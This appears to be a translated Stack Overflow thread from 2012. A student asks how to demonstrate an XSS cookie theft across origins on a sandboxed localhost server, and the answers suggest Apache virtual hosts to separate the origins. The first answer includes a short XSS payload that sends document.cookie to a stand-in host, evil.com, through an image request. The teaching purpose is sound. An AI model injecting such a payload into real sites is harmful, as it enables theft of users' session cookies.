【问题标题】:how to demonstrate exploit of SOP using localhost如何使用 localhost 演示 SOP 的利用
【发布时间】:2012-01-07 07:25:11
【问题描述】:

我正在做有关 XSHM(跨站点历史操作)的项目。

我试图展示使用 XSS(跨站点脚本)如何违反 SOP。我在沙盒 XP 机器(必须遵守道德规范)内设置了一个本地主机(WAMP)服务器,其中包含一个容易受到 XSS 攻击的简单登录脚本。

问题)我想表明,在将恶意 JavaScript 代码注入登录页面后,我可以将用户 cookie 发送到另一个来源,但是如何使用 localhost 服务器来做到这一点?

如果 localhost 是一个来源(即受害者站点),我如何创建与 localhost 不同的另一个来源(即坏人站点)以将 cookie 发送到?我知道同源需要(协议、端口和域)相同。由于没有证书,我无法更改为 HTTPS localhost 和 HTTP localhost。我似乎无法根据需要更改端口号:80 for web。

我不想使用真实的网站并将 cookie 发送到 localhost 脚本,因为那是不道德的,并且也无法执行攻击,因为它不会有 XSS 漏洞来证明利用。

有什么想法吗?

【问题讨论】:

  • 您是否使用 IIS 进行托管?
  • @Deestan WAMP 是适用于 Windows 的 Apache + MySQL + PHP 安装程序。

标签: javascript same-origin-policy


【解决方案1】:

来源无关紧要,脚本简单地读取同一来源的文档 cookie,然后将其作为字符串发送到服务器,在该服务器中对其进行解码,然后在作恶者的浏览器或类似的浏览器中手动设置 cookie。

<script>
var img = new Image();
img.src = "http://www.evil.com/c="+escape(document.cookie);
</script>

这会发送一个 GET 请求,在 c 参数中包含用户的 cookie 详细信息,只是请求图像不违反 SOP,所以我不知道这是否有帮助。

【讨论】:

  • 我以为是这样,感谢您清理它。那么有没有我可以使用 localhost 创建的示例来显示 SOP 违规?任何想法将不胜感激队友
  • @daza166,我个人从未见过违反 SOP 的行为——服务器可以在现代浏览器中明确允许跨域 XHR 等,但这不算违反。如果你想出一个,你应该把它提交给谷歌一些钱:)
【解决方案2】:

在您的 Apache 配置中设置几个 virtual hosts,如下所示:

# Ensure that Apache listens on port 80
Listen 80

# Listen for virtual host requests on all IP addresses
NameVirtualHost *:80

<VirtualHost *:80>
DocumentRoot "C:\goodguy"
ServerName goodguy.com

# Other directives here

</VirtualHost>

<VirtualHost *:80>
DocumentRoot "C:\badguy"
ServerName badguy.com

# Other directives here

</VirtualHost>

将它们指向您的hosts 文件中的127.0.0.1

127.0.0.1    goodguy.com
127.0.0.1    badguy.com

现在,使用goodguy.combadguy.com 代替localhost

祝你好运!

【讨论】:

    猜你喜欢
    • 2011-04-19
    • 2019-11-15
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2013-10-04
    • 2012-04-30
    • 1970-01-01
    相关资源
    最近更新 更多